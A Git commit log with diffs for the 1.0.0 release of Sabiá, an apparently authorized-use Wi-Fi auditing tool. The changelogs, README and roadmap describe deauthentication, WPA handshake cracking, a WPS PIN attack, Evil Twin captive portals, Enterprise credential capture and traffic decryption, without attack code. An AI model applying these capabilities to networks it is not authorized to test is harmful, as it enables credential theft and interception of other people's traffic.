9 Commits
Author SHA1 Message Date
Lucas Rayan f62e7fd0a1 chore(release): v1.0.0
Release / Cria a release (push) Canceled after 0s
Release / CLI (linux-aarch64) (push) Canceled after 0s
Release / CLI (linux-x86_64) (push) Canceled after 0s
Release / CLI (macos-aarch64) (push) Canceled after 0s
Release / CLI (macos-x86_64) (push) Canceled after 0s
Release / CLI (windows-x86_64) (push) Canceled after 0s
Release / App desktop (linux-x86_64) (push) Canceled after 0s
Release / App desktop (macos-aarch64) (push) Canceled after 0s
Release / App desktop (macos-x86_64) (push) Canceled after 0s
Release / App desktop (windows-x86_64) (push) Canceled after 0s
Release / Publica a release (push) Canceled after 0s
Primeira versão estável: valida ponta a ponta contra hardware real (Evil
Twin PSK e Enterprise, WPS, quebra com regras/máscara, relatório) e fecha
o roadmap de 0.1.0 quase inteiro. Changelog completo em CHANGELOG.md.

- Cargo.toml (workspace + app desktop) e tauri.conf.json: 0.1.0 → 1.0.0.
- README/ROADMAP (EN+PT-BR): refletem o que de fato existe agora
  (regras/máscara, .hc22000, WPS, Evil Twin, relatório), não mais "Next".
- docs/cli.md e docs/interface.md (EN+PT-BR): documentam --rules no
  crack e a aba Ataques/relatório da interface.
2026-10-24 15:00:57 -03:00
Lucas Rayan 62ce8b60d5 fix: avisos de clippy em crack_reader/crack_mask (bound duplicado em where) 2026-10-24 14:56:06 -03:00
Lucas Rayan d3ddf86317 chore: atualiza Cargo.lock (flate2, novas dependências transitivas) 2026-10-24 14:54:53 -03:00
Lucas Rayan 6e0cd7cf10 feat(ui): ataques (Evil Twin, regras/máscara, WPS), captura mais robusta
- app.js/app.css/index.html: telas novas para Evil Twin (PSK e
  Enterprise), regras de mutação/máscara na quebra de senha, WPS,
  indicador de modo (monitor/gerenciado) movido para baixo do seletor de
  interface, e aviso específico quando a placa não entrega captura de
  verdade (ver bug de ScanSnapshot.warning no engine).
- Lista de redes/BSSIDs não reordena mais a cada poll: ordem de chegada
  como critério de desempate e sinal arredondado em buckets de 4 dBm,
  porque reordenar pelo sinal instantâneo fazia as linhas flutuarem de
  posição debaixo do cursor a cada atualização.
- "Forçar handshake" religa a captura sozinho se ela tiver sido parada
  (esperando o AP reaparecer no canal certo antes de disparar o job, e
  travando o alvo numa variável local pra não perder o BSSID se o diálogo
  fechar no meio da espera).
- Grid da aba Ataques trocado de CSS grid pra colunas (alvenaria): cards
  com alturas muito diferentes na mesma linha deixavam buracos vazios
  enormes com align-items:start.
- check-ui-i18n.mjs: ajustes de cobertura para as novas telas.
2026-10-24 14:54:49 -03:00
Lucas Rayan a3ca73e610 feat: orquestra as novas funções no engine, CLI e app desktop; resiliência de rede
- engine.rs: expõe Evil Twin (PSK/Enterprise), crack com regras/máscara,
  relatório e exportação .hc22000 pros três front-ends (CLI, servidor web
  da UI, Tauri). set_monitor() agora solta a interface do NetworkManager
  antes de ativar modo monitor e devolve ao desativar — sem isso o NM
  reafirma a própria conexão por cima e a captura cai sozinha pouco
  depois ("está em modo managed"). Evil Twin grava um arquivo de estado
  em disco antes de soltar as interfaces; se o processo morrer no meio
  (Ctrl+C sem handler, kill -9, queda de energia), o próximo início do
  engine desfaz tudo sozinho (self_heal_eviltwin_leftovers) — sem isso as
  duas interfaces ficavam presas em managed=no pro NetworkManager pra
  sempre e o Wi-Fi inteiro sumia do painel do sistema. hostapd/hostapd-wpe
  que morrem na hora de subir agora reportam a saída real capturada em
  log, em vez de um processo "<defunct>" mudo. Novo
  ScanSnapshot.warning: avisa quando a sessão roda >12s sem receber
  nenhum quadro — sintoma de placa que aceita ativar modo monitor sem
  entregar captura de verdade (comum em Wi-Fi interno de notebook).
- sabia-cli (main.rs/web/mod.rs) e o app desktop (Tauri main.rs) ganham
  as rotas/comandos equivalentes pra tudo isso.
2026-10-24 14:54:35 -03:00
Lucas Rayan 7b39c67830 feat: relatório de auditoria redesenhado (capa, sumário, cabeçalho paginado)
- report.rs: capa em página A4 cheia com o logo do Sabiá embutido (base64,
  funciona offline), sumário com âncoras pra cada seção, cabeçalho/rodapé
  corridos via @page margin boxes (seção atual, numeração X/Y, selo "uso
  autorizado"), cards de KPI e achados com cor por severidade, tabelas
  com cabeçalho/zebra consistentes — paginação em A4 continua feita pelo
  Paged.js no navegador (sem depender de Chromium no servidor).
- Vendoriza paged.polyfill.min.js (MIT) — antes era carregado de fora.
- tauri.conf.json: CSP libera frame-src pro preview do relatório embutido
  (iframe) no app desktop.
2026-10-24 14:54:21 -03:00
Lucas Rayan 91aacba939 feat: Evil Twin (PSK + Enterprise/802.1X) e achados de análise de canais
- eviltwin.rs: clona um AP já visto na sessão (SSID aberto) numa segunda
  interface, com portal cativo pedindo a senha de novo. A senha só é
  aceita se bater de verdade contra o handshake real já capturado
  (CrackTarget::verify) — não é um "aceita qualquer coisa", é um oráculo
  criptográfico. Exige handshake quebrável já capturado desse BSSID e
  autorização explícita, mesma trilha de auditoria dos outros ataques.
- eviltwin_enterprise.rs: variante pra redes WPA2/WPA3-Enterprise
  (802.1X) — nelas a credencial viaja no próprio handshake EAP
  (PEAP/TTLS-MSCHAPv2), então o cliente autentica sozinho em qualquer AP
  que anuncie o SSID, sem portal nem ação humana. Orquestra hostapd-wpe
  (não vendorizado — é um patch no build do hostapd); gera certificado
  TLS autoassinado e eap_user genérico; parser best-effort do log de
  credenciais capturadas. Limitação documentada: cliente que valida a
  cadeia de certificado recusa a conexão.
- analysis.rs: achados de segurança (rede aberta, sem PMF, WPS ativo,
  possível evil twin real por nome duplicado) e recomendação de canal por
  banda com pontuação de interferência/sobreposição.
2026-10-24 14:54:06 -03:00
Lucas Rayan f83654506e feat: dicionário completo, regras de mutação, máscara, .hc22000 e WPS (reaver)
- crack.rs: dicionário padrão trocado pra wpa-full.txt.gz (rockyou +
  Probable-Wordlists top204k mesclados/deduplicados, 9,7M senhas,
  comprimido e embutido via LazyLock), PBKDF2 ~640x mais rápido
  (paralelização por núcleo + HMAC reaproveitado em vez de reconstruído a
  cada iteração), força bruta por máscara (rules.rs::Mask, sintaxe
  ?d?l?u?s?a) e regras de mutação tipo hashcat (maiúscula, sufixos
  numéricos/símbolos, leet simples).
- hashcat.rs: exportação de handshake/PMKID em .hc22000 (individual ou em
  lote), pro hashcat de verdade em vez de só o dicionário embutido.
- wps.rs: ataque WPS PIN via reaver (binário real do
  reaver-wps-fork-t6x, GPL-2, extraído em tempo de execução) e bully
  quando instalado no sistema.
- assets/wordlists/LICENSE.wpa-full documenta a atribuição (CC BY-SA 4.0
  do Probable-Wordlists; rockyou.txt como dado de vazamento de uso livre
  consolidado em pesquisa de segurança, mesmo padrão do Kali/SecLists).
2026-10-24 14:53:54 -03:00
Lucas Rayan 5477b8fb03 fix: captura de handshake real (endianness EAPOL) e enriquece o parsing 802.11
- eapol.rs: key_info/replay_counter/key_data_len liam little-endian; são
  big-endian (802.1X segue ordem de rede), então handshakes reais nunca
  fechavam mesmo com deauth funcionando. testutil.rs e os geradores de
  quadro de teste corrigidos junto, mais um teste contra bytes de wire
  reais (não só contra o próprio encoder).
- inject.rs: deauth/disassoc agora grava Sequence Control crescente por
  quadro — reenviar o mesmo quadro era descartado como duplicata pelo
  driver/AP depois do primeiro envio.
- dot11.rs/scan.rs: parsing de AP/cliente bem mais completo (PMF
  obrigatório, WPS detalhado, fabricante por OUI, país, largura de banda,
  padrão PHY, privacidade) e histórico de sinal/eventos por cliente.
- handshake.rs/ccmp.rs: deriva a Temporal Key (CCMP) quando a senha é
  quebrada, o suficiente pra decifrar o tráfego em claro do par
  (BSSID, estação) cujo handshake foi capturado.
2026-10-24 14:53:32 -03:00
49 changed files with 12364 additions and 216 deletions

No files matched your search

+67
View File
@@ -4,6 +4,73 @@
Format based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/); versions follow SemVer.
## [1.0.0] - 2026-10-24
First stable release: real-hardware validation across the whole attack surface, a much more complete cracking pipeline, two new attacks (WPS, Evil Twin), a redesigned report, and several reliability fixes found only by testing against live Wi-Fi networks.
### Added
- **Cracking:** default dictionary replaced by a 9.7M-password list (rockyou +
Probable-Wordlists, deduplicated, gzip-embedded); hashcat-style **mutation
rules** (uppercase, numeric/symbol suffixes, simple leet); **mask brute
force** (`?d?l?u?s?a` syntax); **`.hc22000` export** (single or batch) to
hand a handshake to hashcat/John.
- **WPS attack:** PIN/Pixie Dust via a bundled `reaver` (extracted at
runtime), or `bully` when installed on the system.
- **Evil Twin:** clones an already-seen AP (open SSID) on a second interface
with a captive portal, for WPA/WPA2-PSK — the submitted password is only
accepted after being verified against the real captured handshake, never
"accepts anything". An **Enterprise (802.1X/EAP)** variant captures
credentials automatically via `hostapd-wpe`, no portal or human action
needed, since the credential travels in the EAP handshake itself.
- **CCMP traffic decryption** for a client once its handshake's password is
known (Temporal Key derived from the cracked PMK).
- **Channel-interference scoring** per band and **security findings** (open
network, missing PMF, WPS exposed, possible evil twin by duplicate SSID).
- **Redesigned audit report:** full-page cover with embedded logo, table of
contents, running header/footer via `@page` margin boxes (current
section, page numbers), KPI and findings cards with severity colors —
still paginated by Paged.js in the browser, printable to PDF.
- `ScanSnapshot.warning`: tells you when a capture has been running for a
while without receiving a single frame — a card that accepts turning
monitor mode on without actually delivering capture (common with
built-in laptop Wi-Fi) now says so, instead of silently "listening".
### Fixed
- **Handshake capture never completed on real networks:** `eapol.rs` read
`key_info`/`replay_counter`/`key_data_len` as little-endian; those
802.1X fields are big-endian. Deauth worked, EAPOL frames were seen, but
`HandshakeTracker` silently discarded every one — 0 handshakes no matter
how much traffic was generated. The project's own synthetic test frames
made the same mistake symmetrically, so round-trip tests never caught
it; verified live against a real AP after the fix.
- **Monitor mode fighting NetworkManager:** `set_monitor()` now releases
the interface from NetworkManager before switching modes and returns it
afterward — without this, NM reasserted its own connection within
seconds and capture died with "is in managed mode".
- **Evil Twin left the system half-configured if the process died mid-run**
(Ctrl+C, `kill -9`, power loss): both interfaces stuck `managed=no`
forever, Wi-Fi gone from the system panel. A state file plus a
self-healing pass on every engine start now undoes this automatically;
`sabia ui` also handles SIGINT gracefully.
- **Repeated deauth/disassoc frames were dropped as duplicates** after the
first send — the same Sequence Control was reused on every injection;
now increments per frame.
- **Network list reordered under the cursor** during capture, as signal-based
sorting reacted to every 1-2 dBm fluctuation; order is now stable
(arrival order, signal rounded to 4 dBm buckets).
- **"Force handshake" failed if capture had been stopped:** it now resumes
capture automatically and waits for the target to reappear with a known
channel before starting the job, instead of locking onto whatever
channel the scanner happened to be hopping through.
- **Attacks tab layout left large empty gaps** when two cards of very
different heights shared a grid row; switched to a masonry-style column
layout.
### Changed
- `crack_reader`/`crack_mask` parallelize across available cores and reuse
the HMAC base per iteration instead of reconstructing it — roughly 640x
faster in release builds versus the original debug/single-thread path.
## [0.1.0] - 2026-10-23
First release: CLI, desktop app and shared core.
+73
View File
@@ -4,6 +4,79 @@
Formato baseado em [Keep a Changelog](https://keepachangelog.com/pt-BR/1.1.0/); versões seguem SemVer.
## [1.0.0] - 2026-10-24
Primeira versão estável: validação em hardware real por toda a superfície de ataque, um pipeline de quebra bem mais completo, dois ataques novos (WPS, Evil Twin), relatório redesenhado e várias correções de confiabilidade que só apareceram testando contra redes Wi-Fi de verdade.
### Adicionado
- **Quebra de senha:** dicionário padrão trocado por uma lista de 9,7 milhões
de senhas (rockyou + Probable-Wordlists, deduplicados, comprimida e
embutida no binário); **regras de mutação** estilo hashcat (maiúscula,
sufixos numéricos/símbolos, leet simples); **força bruta por máscara**
(sintaxe `?d?l?u?s?a`); **exportação `.hc22000`** (individual ou em lote)
para levar o handshake direto ao hashcat/John.
- **Ataque WPS:** PIN/Pixie Dust via `reaver` embutido (extraído em tempo de
execução), ou `bully` quando instalado no sistema.
- **Evil Twin:** clona um AP já visto na sessão (SSID aberto) numa segunda
interface com portal cativo, para WPA/WPA2-PSK — a senha só é aceita
depois de conferida de verdade contra o handshake real já capturado,
nunca "aceita qualquer coisa". Uma variante **Enterprise (802.1X/EAP)**
captura credenciais automaticamente via `hostapd-wpe`, sem portal nem
ação humana, já que a credencial viaja no próprio handshake EAP.
- **Decriptação de tráfego CCMP** de um cliente assim que a senha do
handshake dele é conhecida (Temporal Key derivada da PMK quebrada).
- **Pontuação de interferência de canais** por banda e **achados de
segurança** (rede aberta, PMF ausente, WPS exposto, possível evil twin
por SSID duplicado).
- **Relatório de auditoria redesenhado:** capa em página cheia com o logo
embutido, sumário com âncoras, cabeçalho/rodapé corridos via margin
boxes do `@page` (seção atual, numeração de página), cards de KPI e
achados com cor por severidade — a paginação continua feita pelo
Paged.js no navegador, imprimível em PDF.
- `ScanSnapshot.warning`: avisa quando uma captura está rodando há um
tempo sem receber nenhum quadro — uma placa que aceita ativar modo
monitor sem realmente entregar captura (comum em Wi-Fi interno de
notebook) agora diz isso, em vez de ficar "escutando o ar" caladinha.
### Corrigido
- **Captura de handshake nunca completava em rede real:** `eapol.rs` lia
`key_info`/`replay_counter`/`key_data_len` como little-endian; esses
campos do 802.1X são big-endian. O deauth funcionava, os quadros EAPOL
eram vistos, mas o `HandshakeTracker` descartava todos silenciosamente —
0 handshakes não importa quanto tráfego fosse gerado. Os próprios
quadros sintéticos de teste do projeto cometiam o mesmo engano
simetricamente, então os testes de ida e volta nunca pegaram isso;
verificado ao vivo contra um AP real depois da correção.
- **Modo monitor brigando com o NetworkManager:** `set_monitor()` agora
solta a interface do NetworkManager antes de trocar de modo e devolve
depois — sem isso o NM reafirmava a própria conexão em segundos e a
captura caía com "está em modo managed".
- **Evil Twin deixava o sistema pela metade se o processo morresse no
meio** (Ctrl+C, `kill -9`, queda de energia): as duas interfaces ficavam
presas em `managed=no` pra sempre, Wi-Fi sumia do painel do sistema. Um
arquivo de estado mais uma rotina de autocura a cada início do engine
desfazem isso sozinhos agora; o `sabia ui` também trata SIGINT
graciosamente.
- **Quadros repetidos de deauth/disassoc eram descartados como duplicata**
depois do primeiro envio — o mesmo Sequence Control era reusado em toda
injeção; agora incrementa por quadro.
- **Lista de redes reordenava debaixo do cursor** durante a captura, porque
a ordenação por sinal reagia a cada oscilação de 1-2 dBm; a ordem agora
é estável (ordem de chegada, sinal arredondado em buckets de 4 dBm).
- **"Forçar handshake" falhava se a captura tivesse sido parada:** agora
religa a captura sozinho e espera o alvo reaparecer com canal conhecido
antes de disparar o job, em vez de travar no canal em que o scanner por
acaso estava saltando.
- **Grid da aba Ataques deixava buracos vazios grandes** quando dois cards
de alturas muito diferentes caíam na mesma linha; trocado por um layout
de colunas tipo alvenaria.
### Alterado
- `crack_reader`/`crack_mask` paralelizam entre os núcleos disponíveis e
reaproveitam a base do HMAC por iteração em vez de reconstruí-la — cerca
de 640x mais rápido em build release comparado ao caminho original
debug/single-thread.
## [0.1.0] - 2026-10-23
Primeira versão: CLI, app desktop e núcleo compartilhado.
Generated
+75 -2
View File
@@ -2,6 +2,23 @@
# It is not intended for manual editing.
version = 3
[[package]]
name = "adler2"
version = "2.0.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
[[package]]
name = "aes"
version = "0.8.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
dependencies = [
"cfg-if",
"cipher",
"cpufeatures",
]
[[package]]
name = "anstream"
version = "1.0.0"
@@ -88,6 +105,16 @@ version = "0.2.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527"
[[package]]
name = "cipher"
version = "0.4.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
dependencies = [
"crypto-common",
"inout",
]
[[package]]
name = "clap"
version = "4.6.7"
@@ -143,6 +170,15 @@ dependencies = [
"libc",
]
[[package]]
name = "crc32fast"
version = "1.5.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0ba106e844045ddc02c20768ac4b0b7cb45f2cc2ecbd833ac9f5dacb183c2055"
dependencies = [
"cfg-if",
]
[[package]]
name = "crypto-common"
version = "0.1.7"
@@ -209,6 +245,16 @@ version = "2.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223"
[[package]]
name = "flate2"
version = "1.1.10"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6e634e2e0ebac1ee034020da1ca582e17ffe4e0f5e985823721e168928136dcb"
dependencies = [
"crc32fast",
"miniz_oxide",
]
[[package]]
name = "generic-array"
version = "0.14.7"
@@ -245,6 +291,15 @@ dependencies = [
"digest",
]
[[package]]
name = "inout"
version = "0.1.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
dependencies = [
"generic-array",
]
[[package]]
name = "is_terminal_polyfill"
version = "1.70.2"
@@ -285,6 +340,16 @@ version = "2.8.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98"
[[package]]
name = "miniz_oxide"
version = "0.9.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b63fbc4a50860e98e7b2aa7804ded1db5cbc3aff9193adaff57a6931bf7c4b4c"
dependencies = [
"adler2",
"simd-adler32",
]
[[package]]
name = "nix"
version = "0.31.3"
@@ -375,7 +440,7 @@ dependencies = [
[[package]]
name = "sabia-cli"
version = "0.1.0"
version = "1.0.0"
dependencies = [
"clap",
"ctrlc",
@@ -386,8 +451,10 @@ dependencies = [
[[package]]
name = "sabia-core"
version = "0.1.0"
version = "1.0.0"
dependencies = [
"aes",
"flate2",
"hmac",
"libc",
"md-5",
@@ -465,6 +532,12 @@ dependencies = [
"digest",
]
[[package]]
name = "simd-adler32"
version = "0.3.10"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3a219298ac11a56ea9a6d2120044824d6f01aeb034955e7af7bc16858527deea"
[[package]]
name = "strsim"
version = "0.11.1"
+1 -1
View File
@@ -3,7 +3,7 @@ resolver = "2"
members = ["crates/sabia-core", "crates/sabia-cli"]
[workspace.package]
version = "0.1.0"
version = "1.0.0"
edition = "2021"
license = "MIT OR Apache-2.0"
repository = "https://github.com/lucasrguerra/sabia"
+11 -10
View File
@@ -10,12 +10,14 @@
Sabiá brings together, in a single sweep, what tools like `airodump-ng`, `hcxdumptool`, `aircrack-ng` and `wifite` do separately — in one Rust binary, with no `libpcap` dependency:
- **Network discovery:** hops across the **2.4, 5 and 6 GHz** channels and lists access points and associated clients, with SSID, BSSID, channel, signal and security type.
- **Monitor mode without scripts:** turns the card's monitor mode on and off straight through netlink/`iw`, and shows which channels the radio supports.
- **Handshake capture:** recognizes the **4-way handshake (EAPOL)** and the **PMKID** on the air and keeps only what offline cracking needs.
- **Offline dictionary cracking:** recomputes the PMK with **PBKDF2-HMAC-SHA1** and checks the **MIC** (4-way) or the **PMKID** (`HMAC-SHA1(PMK, "PMK Name" …)`) — for WPA/WPA2-PSK.
- **Network discovery:** hops across the **2.4, 5 and 6 GHz** channels and lists access points and associated clients, with SSID, BSSID, channel, signal, security type, WPS details and vendor.
- **Monitor mode without scripts:** turns the card's monitor mode on and off straight through netlink/`iw`, recovering automatically if NetworkManager tries to reclaim the interface, and shows which channels the radio supports.
- **Handshake capture:** recognizes the **4-way handshake (EAPOL)** and the **PMKID** on the air and keeps only what offline cracking needs; decrypts CCMP traffic for a client once its password is known.
- **Cracking, three ways:** dictionary (9.7M passwords bundled by default, rockyou + Probable-Wordlists), hashcat-style **mutation rules**, and **mask brute force** (`?d?l?u?s?a`) — recomputes the PMK with **PBKDF2-HMAC-SHA1** and checks the **MIC** (4-way) or the **PMKID** — for WPA/WPA2-PSK. Export to **`.hc22000`** to hand the handshake to hashcat/John instead.
- **pcap round-trip:** writes captured frames to `.pcap` and **analyzes a `.pcap` offline** (networks, clients and handshakes), interoperable with the other tools.
- **Deauthentication test:** sends _deauth_ to an AP/station to force a reassociation — only with an explicit authorization confirmation (`--yes`).
- **Deauthentication and WPS:** directional/continuous _deauth_, PMF probing, clientless PMKID hunting, and a WPS PIN/Pixie Dust attack (bundled reaver, or bully when installed) — all gated behind an explicit authorization confirmation (`--yes` / checkbox).
- **Evil Twin:** clones an already-seen AP with a captive portal for WPA/WPA2-PSK — the submitted password is only accepted after it's verified against the real captured handshake, never "accepts anything" — plus an Enterprise (802.1X/EAP) variant that captures credentials automatically, no portal needed.
- **Audit report:** a paginated, printable report (cover, table of contents, findings, channel scoring, audit trail) generated locally.
- **Audit trail:** every monitor-mode activation and capture session is recorded in a local **hash-chained** trail.
- **Diagnostics:** `doctor` checks privileges, tools and interfaces before you start.
@@ -75,7 +77,7 @@ Desktop app (Tauri) with an interface sidebar, a capture panel with an animated
- **Capture is Linux-only**, with a card that supports **monitor mode** (and injection, for `deauth`). On Windows and macOS Sabiá only does `.pcap` analysis and offline cracking.
- **WPA3/SAE** does not fall to handshake dictionaries — cracking covers **WPA/WPA2-PSK** (4-way and PMKID).
- **5 and 6 GHz** depend on the card and the regulatory domain; some channels stay passive (no probing).
- **Passwords outside the dictionary don't come back:** cracking is dictionary force only, no rules or masks yet.
- **Evil Twin's self-signed certificate:** the Enterprise variant's TLS certificate isn't trusted by clients that validate the chain (common on updated corporate/MDM devices) — that's the correct defense working, not a bug.
- **Windows and macOS:** the code compiles and is tested in CI, but live capture does not run on those platforms.
## Where it's going
@@ -84,10 +86,9 @@ Summary of the [ROADMAP](ROADMAP.md):
| | |
|---|---|
| **Done** | Monitor mode via netlink, 2.4/5/6 GHz scanning, 4-way and PMKID capture, `.pcap` read/write, dictionary cracking (WPA/WPA2-PSK), authorized `deauth`, hash-chained audit trail, `doctor`, CLI + desktop app, one-click update |
| **Next** | Rules and masks in cracking, GPU acceleration, export to the hashcat format (`22000`) |
| **Later** | WPS attack, rogue AP / evil twin for authorized testing, capture on Windows (Npcap) |
| **Long term** | WPA3/SAE downgrade, validation on varied hardware |
| **Done** | Monitor mode via netlink (with NetworkManager recovery), 2.4/5/6 GHz scanning, 4-way and PMKID capture, CCMP decryption, dictionary/rules/mask cracking (WPA/WPA2-PSK), `.hc22000` export, `.pcap` read/write, authorized `deauth`/PMF/PMKID, WPS attack, Evil Twin (PSK + Enterprise), channel scoring and findings, paginated audit report, hash-chained audit trail, `doctor`, CLI + desktop app, one-click update |
| **Next** | GPU acceleration for cracking, capture on Windows (Npcap) |
| **Later** | WPA3/SAE downgrade, validation on varied hardware, signed release binaries |
## Development
+11 -10
View File
@@ -10,12 +10,14 @@
O Sabiá junta, numa única varredura, o que ferramentas como `airodump-ng`, `hcxdumptool`, `aircrack-ng` e `wifite` fazem separadamente — em um só binário Rust, sem depender de `libpcap`:
- **Descoberta de redes:** percorre os canais de **2.4, 5 e 6 GHz** e lista os pontos de acesso e os clientes associados, com SSID, BSSID, canal, sinal e tipo de segurança.
- **Modo monitor sem scripts:** liga e desliga o modo monitor da placa direto pelo netlink/`iw`, e mostra os canais que o rádio suporta.
- **Captura de handshake:** reconhece o **4-way handshake (EAPOL)** e o **PMKID** no ar e guarda só o que é preciso para a quebra offline.
- **Quebra offline por dicionário:** recalcula a PMK com **PBKDF2-HMAC-SHA1** e confere o **MIC** (4-way) ou o **PMKID** (`HMAC-SHA1(PMK, "PMK Name" …)`) — para WPA/WPA2-PSK.
- **Descoberta de redes:** percorre os canais de **2.4, 5 e 6 GHz** e lista os pontos de acesso e os clientes associados, com SSID, BSSID, canal, sinal, tipo de segurança, detalhes de WPS e fabricante.
- **Modo monitor sem scripts:** liga e desliga o modo monitor da placa direto pelo netlink/`iw`, com recuperação automática se o NetworkManager tentar retomar a interface, e mostra os canais que o rádio suporta.
- **Captura de handshake:** reconhece o **4-way handshake (EAPOL)** e o **PMKID** no ar e guarda só o que é preciso para a quebra offline; decifra tráfego CCMP de um cliente assim que a senha dele é conhecida.
- **Quebra, de três jeitos:** dicionário (9,7 milhões de senhas por padrão, rockyou + Probable-Wordlists), **regras de mutação** estilo hashcat e **força bruta por máscara** (`?d?l?u?s?a`) — recalcula a PMK com **PBKDF2-HMAC-SHA1** e confere o **MIC** (4-way) ou o **PMKID** — para WPA/WPA2-PSK. Exporta em **`.hc22000`** para levar o handshake direto ao hashcat/John.
- **pcap de ida e volta:** grava os quadros capturados em `.pcap` e **analisa um `.pcap` offline** (redes, clientes e handshakes), compatível com as outras ferramentas.
- **Teste de desautenticação:** envia _deauth_ a um AP/estação para forçar uma reassociação — só com a confirmação explícita de autorização (`--yes`).
- **Desautenticação e WPS:** _deauth_ direcional/contínuo, teste de PMF, caça de PMKID sem cliente, e ataque WPS PIN/Pixie Dust (reaver embutido, ou bully quando instalado) — tudo atrás de confirmação explícita de autorização (`--yes`/checkbox).
- **Evil Twin:** clona um AP já visto com portal cativo para WPA/WPA2-PSK — a senha só é aceita depois de conferida contra o handshake real já capturado, nunca "aceita qualquer coisa" — mais uma variante Enterprise (802.1X/EAP) que captura credenciais automaticamente, sem portal.
- **Relatório de auditoria:** relatório paginado e imprimível (capa, sumário, achados, pontuação de canais, trilha de auditoria) gerado localmente.
- **Trilha de auditoria:** toda ativação de modo monitor e sessão de captura fica registrada numa trilha local **encadeada por hash**.
- **Diagnóstico:** o `doctor` confere privilégios, ferramentas e interfaces antes de você começar.
@@ -75,7 +77,7 @@ App desktop (Tauri) com sidebar de interfaces, painel de captura com linha de si
- **Captura só no Linux**, com placa que suporte **modo monitor** (e injeção, para `deauth`). Em Windows e macOS o Sabiá faz só análise de `.pcap` e quebra offline.
- **WPA3/SAE** não cai por dicionário de handshake — a quebra cobre **WPA/WPA2-PSK** (4-way e PMKID).
- **5 e 6 GHz** dependem da placa e do _regulatory domain_; alguns canais ficam passivos (sem _probe_).
- **Senhas fora do dicionário não voltam:** a quebra é só força de dicionário, sem regras nem máscara ainda.
- **Certificado autoassinado do Evil Twin Enterprise:** clientes que validam a cadeia de certificado da rede (comum em perfil corporativo/MDM atualizado) não confiam nele — é a defesa correta funcionando, não um bug.
- **Windows e macOS:** o código compila e é testado em CI, mas a captura ao vivo não roda nessas plataformas.
## Para onde vai
@@ -84,10 +86,9 @@ Resumo do [ROADMAP](ROADMAP.pt-BR.md):
| | |
|---|---|
| **Feito** | Modo monitor por netlink, varredura 2.4/5/6 GHz, captura de 4-way e PMKID, escrita e leitura de `.pcap`, quebra por dicionário (WPA/WPA2-PSK), `deauth` autorizado, trilha de auditoria por hash, `doctor`, CLI + app desktop, atualização em um clique |
| **Próximo** | Regras e máscaras na quebra, aceleração por GPU, exportação para o formato do hashcat (`22000`) |
| **Depois** | Ataque a WPS, _rogue AP_/_evil twin_ para teste autorizado, captura em Windows (Npcap) |
| **Longo prazo** | WPA3/SAE _downgrade_, validação em hardware variado |
| **Feito** | Modo monitor por netlink (com recuperação do NetworkManager), varredura 2.4/5/6 GHz, captura de 4-way e PMKID, decriptação CCMP, quebra por dicionário/regras/máscara (WPA/WPA2-PSK), exportação `.hc22000`, escrita e leitura de `.pcap`, `deauth`/PMF/PMKID autorizados, ataque WPS, Evil Twin (PSK + Enterprise), pontuação de canais e achados, relatório de auditoria paginado, trilha de auditoria por hash, `doctor`, CLI + app desktop, atualização em um clique |
| **Próximo** | Aceleração por GPU na quebra, captura em Windows (Npcap) |
| **Depois** | WPA3/SAE _downgrade_, validação em hardware variado, binários de release assinados |
## Desenvolvimento
+18 -15
View File
@@ -2,34 +2,37 @@
**English** · [Português](ROADMAP.pt-BR.md)
Sabiá does Wi-Fi auditing: it discovers networks, captures handshakes (4-way and PMKID), cracks WPA/WPA2-PSK by offline dictionary and tests deauthentication with authorization. Always for authorized use, with a local audit trail.
Sabiá does Wi-Fi auditing: it discovers networks, captures handshakes (4-way and PMKID), cracks WPA/WPA2-PSK by dictionary/rules/mask, assesses WPS, PMF and evil twin exposure, and tests deauthentication and rogue-AP attacks with authorization. Always for authorized use, with a local audit trail.
## Done (0.1.0)
## Done (1.0.0)
- **Monitor mode** and channel control via netlink/`iw`.
- **Scanning** of 2.4, 5 and 6 GHz: APs and clients, with SSID, BSSID, channel, signal and security.
- **Monitor mode** and channel control via netlink/`iw`, with automatic recovery from NetworkManager reclaiming the interface.
- **Scanning** of 2.4, 5 and 6 GHz: APs and clients, with SSID, BSSID, channel, signal, security, WPS details, vendor and PHY standard.
- Raw 802.11 capture via **AF_PACKET** (no libpcap), **radiotap** and management-frame parsing.
- Capture of the **4-way handshake (EAPOL)** and the **PMKID**.
- **Offline dictionary cracking** (PBKDF2-HMAC-SHA1, MIC and PMKID) for WPA/WPA2-PSK.
- Capture of the **4-way handshake (EAPOL)** and the **PMKID**; **CCMP traffic decryption** once the password is known.
- **Offline cracking** (PBKDF2-HMAC-SHA1, MIC and PMKID) for WPA/WPA2-PSK: a 9.7M-password dictionary (rockyou + Probable-Wordlists) by default, hashcat-style **mutation rules** and **mask brute force**.
- **`.hc22000` export** to take the handshake straight to hashcat/John.
- **`.pcap`** read and write; offline `.pcap` analysis.
- Authorized **`deauth`** (`--yes` flag).
- Authorized **`deauth`** (`--yes` flag), directional and continuous jobs, PMF probing, clientless PMKID hunting.
- **WPS attack** (PIN/Pixie Dust) via a bundled reaver, or bully when installed.
- **Evil Twin** with captive portal for WPA/WPA2-PSK (password only accepted after cryptographic verification against the real handshake) and a credential-capture variant for WPA2/WPA3-Enterprise (802.1X/EAP).
- Channel-interference scoring and security findings (open network, no PMF, WPS exposed, possible evil twin).
